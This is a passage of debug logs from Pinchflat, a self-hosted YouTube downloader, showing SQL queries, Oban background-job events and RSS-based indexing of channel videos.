((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 18:55:45.650 [debug] QUERY OK source="sources" db=4.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 18:55:45.651 [info] Sent 200 in 10ms 18:55:57.476 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.882 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:56:27.478 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:57.479 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.883 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:57:15.076 [info] GET /sources/3/media/12825 18:57:15.076 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12825", "source_id" => "3"} Pipelines: [:browser] 18:57:15.076 [debug] QUERY OK source="media_items" db=0.1ms idle=1708.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12825] 18:57:15.076 [debug] QUERY OK source="tasks" db=0.1ms idle=1236.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12825] 18:57:15.076 [debug] QUERY OK source="sources" db=0.2ms idle=1708.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:57:15.077 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=709.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [469] 18:57:15.077 [debug] QUERY OK source="settings" db=0.0ms idle=235.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:15.077 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:15.077 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:15.077 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:57:15.078 [info] Sent 200 in 2ms 18:57:27.480 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:57.482 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.884 [info] {"source":"oban","duration":421,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:58:27.483 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:57.484 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.885 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:59:27.485 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:57.487 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.885 [info] {"source":"oban","duration":103,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:00:27.488 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:57.489 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.887 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:01:08.087 [info] {"args":{"id":2},"id":751,"meta":{},"system_time":1784919668087117216,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:01:08.087 [debug] QUERY OK source="tasks" db=0.2ms idle=719.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:01:08.087 [debug] QUERY OK source="sources" db=0.2ms idle=719.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:01:08.088 [debug] QUERY OK source="sources" db=1.0ms idle=719.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:01:08.089 [debug] QUERY OK source="settings" db=0.6ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:08.089 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:01:08.089 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:08.089 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 19:01:08.205 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 19:01:08.205 [debug] QUERY OK source="media_items" db=0.2ms idle=117.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 19:01:08.206 [debug] QUERY OK source="media_items" db=0.2ms idle=117.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 19:01:08.206 [debug] QUERY OK source="tasks" db=0.0ms idle=117.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [754, 2, ~U[2026-07-24 19:01:08Z], ~U[2026-07-24 19:01:08Z]] 19:01:08.207 [info] {"args":{"id":2},"id":751,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":119747,"event":"job:stop","queue_time":368928,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:01:08.207 [debug] QUERY OK source="tasks" db=0.1ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:01:18.098 [info] {"args":{"id":1},"id":752,"meta":{},"system_time":1784919678098029910,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:01:18.098 [debug] QUERY OK source="sources" db=0.1ms idle=730.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:01:18.098 [debug] QUERY OK source="tasks" db=0.1ms idle=730.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:01:18.098 [debug] QUERY OK source="settings" db=0.1ms idle=730.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:18.098 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:01:18.098 [debug] QUERY OK source="sources" db=0.2ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:01:18.099 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:18.099 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 19:01:18.137 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 19:01:18.138 [debug] QUERY OK source="media_items" db=0.2ms idle=39.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 19:01:18.140 [debug] QUERY OK source="media_items" db=2.0ms idle=39.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:01:18.141 [debug] QUERY OK source="tasks" db=0.0ms idle=41.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [755, 1, ~U[2026-07-24 19:01:18Z], ~U[2026-07-24 19:01:18Z]] 19:01:18.141 [info] {"args":{"id":1},"id":752,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":43070,"event":"job:stop","queue_time":334988,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:01:18.141 [debug] QUERY OK source="tasks" db=0.3ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:01:27.490 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:33.113 [info] {"args":{"id":3},"id":753,"meta":{},"system_time":1784919693113325830,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:01:33.113 [debug] QUERY OK source="sources" db=0.1ms idle=1745.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:01:33.113 [debug] QUERY OK source="tasks" db=0.3ms idle=1745.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:01:33.113 [debug] QUERY OK source="settings" db=0.2ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:33.114 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:01:33.114 [debug] QUERY OK 